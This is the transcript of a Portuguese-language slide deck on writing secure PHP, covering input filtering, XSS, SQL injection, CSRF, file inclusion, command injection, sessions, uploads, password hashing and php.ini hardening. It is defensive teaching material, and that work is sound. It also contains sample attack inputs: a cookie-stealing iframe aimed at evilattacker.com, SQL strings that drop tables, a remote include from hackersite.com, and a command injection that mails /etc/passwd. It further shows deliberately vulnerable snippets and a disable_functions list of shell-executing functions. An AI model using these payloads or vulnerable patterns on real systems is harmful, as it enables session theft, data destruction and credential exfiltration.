escrevendo códigos php seguros

90
Escrevendo códigos PHP Seguros Douglas V. Pasqua http://douglaspasqua.com

Upload: douglas-pasqua

Post on 12-Jul-2015

321 views

Category:

Internet


5 download

TRANSCRIPT

Escrevendo códigos PHP SegurosDouglas V. Pasquahttp://douglaspasqua.com

Introdução

● Príncios de segurança para aplicativos web.● As consequencias de códigos inseguros.● Regras básicas de Segurança.

Vulnerabilidades / Tipos de Ataques

● SQL Injections● XSS● Remote Code Injection● Command Inection● XSRF / CSRF● Sessions● File Uploads

Outros

● senhas e hashs● configurações de segurança (php.ini)

Introdução Segurança

● Uma das coisas mais importantes que o desenvolvedor deve-se atentar.

Introdução Segurança

● Infelizmente a maioria dos desenvolvedores falham na questão de segurança, comprometendo dezenas e até milhares de linhas de códigos.

Consequências

Consequências

● DOS (Denial Of Service).● Roubo de informações confidenciais.● Danificar banco de dados.● Roubo de sessão do usuário.● Comprometer a aplicação.

Regras básicas

● Filtrar dados de Input● Filtrar dados de Output

Filtrar dados de Input

● Não se deve confiar nos dados provenientes do usuário.

● Toda informação oriunda do usuário deve ser filtrada/validada antes do uso.

Filtrar dados de Input

● $_GET● $_POST● $_COOKIE

Tipo de dados ?

● E-Mail● Numérico● URL● IP● Data de aniversário● Endereço● Telefone

Exemplo: filtrando campo numérico<?php

if (isset($_GET["value"])) {

$value = $_GET["value"];

}

else {

$value = false;

}

if (is_numeric($value) && ($value >= 15 && $value <= 20)) {

// ok

}

Exemplo: filtrando campo numérico<?php

$value = filter_input(INPUT_GET, "value", FILTER_VALIDATE_INT,

array("options" => array(

"min_range" => 15,

"max_range" => 20

)));

if($value) {

// valido

}

filter_input

● FILTER_VALIDATE_BOOLEAN● FILTER_VALIDATE_EMAIL● FILTER_VALIDATE_FLOAT● FILTER_VALIDATE_INT● FILTER_VALIDATE_IP● FILTER_VALIDATE_REGEXP● FILTER_VALIDATE_URL

filter_input

http://php.net/filter_input

Filtrando dados de Saída

● Dados de saída devem ser tratados de acordo com o meio.○ HTML○ Javascript○ XML○ SQL

Filtrando dados de saída

<?php

echo "<a href=\"$url\">$name</a>";

Filtrando dados de Saída

<a href="<?php echo htmlspecialchars($url, ENT_COMPAT, 'utf-8'); ?>">

<?php echo htmlspecialchars($name, ENT_NOQUOTES, 'utf-8'); ?>

</a>

htmlspecialchars()

Caracter Nome Código

< menor que &lt;

> maior que &gt;

& E comercial &amp;

“ aspas duplas &quot;

http://php.net/htmlspecialchars

XSS (Cross Site Scripting)

XSS (Cross-site-scripting)

● É um tipo de ataque que permite injetar códigos (javascript) maliciosos em sites “confiáveis”.

● Explora a confiança que o usuário tem no site.

XSS (Cross-site-scripting)

● Roubo de cookies e informações de sessão.● Disparar requisições HTTP na sessão do

usuário.● Redirecionar o usuário para sites maliciosos.● Instalar malware

XSS Exemplo - Não Persistente<?php

// Gera resultados baseado em parametro via GET

echo "Você esta buscando por: " . $_GET["query"];

XSS Exemplo - Não Persistente<?php

// Gera resultados baseado em parametro via GET

echo "Você esta buscando por: " . $_GET["query"];

http://example.com/search.php?query=<script>alert("hacked")</script>

XSS Exemplo - Não Persistente<?php

// Gera resultados baseado em parametro via GET

echo "Você esta buscando por: " . $_GET["query"];

http://example.com/search.php?query=<script>alert("hacked")</script>

Você esta buscando por: <script>alert("hacked")</script>

XSS Exemplo - Persistente

$email = "document.write('<iframe src=\”

http://evilattacker.com?cookie=' + document.cookie.escape()\”

height=\”0\” width=\”0\” />')";

E-mail: <?php echo $email; ?>

XSS - Prevenção

● Validando dados de input

XSS - Prevenção

● Sanitização

<?php

// sanitize HTML

$query = strip_tags($_GET["query"]);

XSS - Prevenção

● Output Escaping

<?php

// Gera resultados baseado em parametro via GET

echo "Você esta buscando por: " . htmlspecialchars($_GET["query"]);

SQL Injection

SQL Injection

● Permite manipulação de consultas SQL○ passar por controles de acesso e autenticação.○ expor dados escondidos.○ sobrescrita de dados.○ exclusão de dados.○ execução de comandos no S.O.

SQL Injection

$sql = "SELECT * FROM users WHERE name ='$nome'";

SQL Injection

' or '1'='1SELECT * FROM users WHERE name ='' OR '1'='1';

' or '1'='1' --SELECT * FROM users WHERE name ='' OR '1'='1' --';

SQL Injection

a';DROP TABLE users; --SELECT * FROM users WHERE name ='a';DROP TABLE users; --';

SQL Injection - Protegendo-se<?php

$stmt = $dbh->prepare("SELECT * FROM users WHERE name = :name");

$stmt->bindParam(':name', $txtName);

$stmt->execute();

● Suporte:

○ mysqli

○ PDO

SQL Injection - Protegendo-se<?php

$name = mysql_real_escape_string($name);

$sql = "SELECT * FROM users WHERE name ='$name'";

● Usar no caso de extensão padrão do Mysql para PHP

CSRF (Cross-Site-Request-Forgery)

CSRF - Definição

Site malicioso dispara uma requisição/ação não desejada para um outro site no qual o usuário esteja logado.

CSRF - Exemplos de ações

● Alterar a senha do usuário no site● Realizar transferências bancárias● Submissão de formulários

CSRF - Principais focos

● Webmail● Redes sociais● Bancos ● Sistemas de pagamento online

CSRF - Exemplos de Prevênção

● Captcha● Verificar o Header "Referer"● Token Sincronizado

CSRF - Token

<?php

$randomtoken = base64_encode(openssl_random_pseudo_bytes(32));

CSRF - Token

<?php

$randomtoken = base64_encode(openssl_random_pseudo_bytes(32));

$_SESSION['csrfToken'] = $randomtoken;

CSRF - Token

<form>

...

<input type=’hidden’ name=’csrfToken’

value=’<?php echo($_SESSION['csrfTOken']) ?>’ />

...

</form>

CSRF

● O Token CSRF é único por sessão.● Utilize o token em todos formulários

considerados “críticos”.

Remote Code Injection

Remote code injection

● Permite o atacante injetar códigos externos no fluxo de execução do script php.

● Explora:○ include○ require

Remote code injection<?php

include($_GET["page"]);

?>

Remote code injection<?php

include($_GET["page"]);

?>

www.website.com/carrega.php?page=/dir-escondido/senhas.txt

Remote code injection<?php

include($_GET["page"]);

?>

www.website.com/carrega.php?page=/upload-dir/arquivo.php

Remote code injection<?php

include($_GET["page"]);

?>

www.website.com/carrega.php?page=http://hackersite.com/file.inc

Remote code injection - Proteção<?php

$whitelist = array('home', 'about');

if (in_array($_GET['page'], $whitelist)) {

include($_GET['page'].'.php');

} else {

include('home.php');

}

Command Injection

Command Injection

● Permite o atacante injetar códigos shell maliciosos.

● Normalmente quando você usa o input do usuário para criar um comando shell.

Command Injection<?php

echo shell_exec('cat '.$_GET['filename']);

?>

Command Injection<?php

echo shell_exec('cat '.$_GET['filename']);

?>

www.website.com/viewfile.php?filename=file.txt;ls

Command Injection<?php

echo shell_exec('cat '. $_GET['filename']);

?>

www.website.com/viewfile.php?filename=file.txt;mail [email protected] </etc/passwd

Command Injection - Proteção<?php

echo shell_exec('cat '. escapeshellarg($_GET['filename']));

Command Injection - Proteção<?php

echo shell_exec('cat '. escapeshellarg($_GET['filename']));

OR

echo shell_exec(escapeshellcmd('cat '. $_GET['filename']));

Segurança de Sessão

Segurança de Sessão

● Flag httponly, php.ini:

session.cookie_httponly = 1

Marca o cookie de sessão do PHP com httponly. Isso faz com que o novageador não exponha o valor deste cookie via javascript.

Segurança de Sessão

● Flag use_only_cookies, php.ini:

session.use_only_cookies = 1

Desabilita a possiblidade de setar o ID da sesssão via GET.

Segurança de Sessão

● Flag cookie_secure, php.ini:

session.cookie_secure = 1

Assegura que o cookie de sessão seja transmitido apenas por conexão segura.

Session hijacking<?php

session_start();

if (isset($_SESSION['HTTP_USER_AGENT'])) {

if ($_SESSION['HTTP_USER_AGENT'] != md5($_SERVER['HTTP_USER_AGENT'])) {

/* Prompt for password */

exit;

}

} else {

$_SESSION['HTTP_USER_AGENT'] = md5($_SERVER['HTTP_USER_AGENT']);

}

Upload de Arquivos

Upload de arquivos - Dicas

Armazene os arquivos enviados fora do diretório raiz do app web.

Upload de arquivos - Dicas

Não confie cegamente no Content-Type, para definir que um arquivo seja realmente uma

imagem.

Upload de arquivos - Dicas<?php

$imageinfo = getimagesize($_FILES['userfile']['tmp_name']);

if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg') {

echo "Desculpe, são aceitos somente imagens GIF e JPEG\n";

exit;

}

Upload de arquivos - Dicas

Não armazene os arquivos usando o nome original configurado no formulário. Gere um

nome randômico ao salvar.

Hash e Senhas

hash e senhas

Sempre usar hash para armazenar senhas em banco de dados.

hash e senhas

md5(), sha1() ?

hash e senhas

password_hash(), crypt() ?

password_hash()

● >= PHP 5.5● Utiliza o algoritimo BCrypt● Compatível com a função crypt()

password_hash()<?php

// geração do hash

$hash = password_hash($senha, PASSWORD_DEFAULT);

// verificando se o hash corresponde

if (password_verify($password, $hash)) {

// Sucesso!

}

else {

// Credenciais Inválidas

}

password_hash()

● utilizar capacidade de 255 caracteres● salt e cost são gerados pela API

Parâmetros no php.ini

php.ini

● expose_php = off

php.ini

● expose_php = off

HTTP/1.1 200 OKX-Powered-By: PHP/5.3.3Content-type: text/html; charset=UTF-8

php.ini

● display_errors = off

php.ini

● display_errors = off

log_errors=Onerror_log=/var/log/apache/php_error.log

php.ini

● allow_url_fopen = off

php.ini

● allow_url_fopen = off

previne remote code injections (include/require/file_get_contents)

php.ini

● max_execution_time = 30● memory_limit = 40M

php.ini

● max_execution_time = 30● memory_limit = 40M

Evita ataques DOS

php.ini

● disable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source

php.ini

● open_basedir="/var/www/"

php.ini

● open_basedir="/var/www/"

restringe o diretório onde o php pode manipular arquivos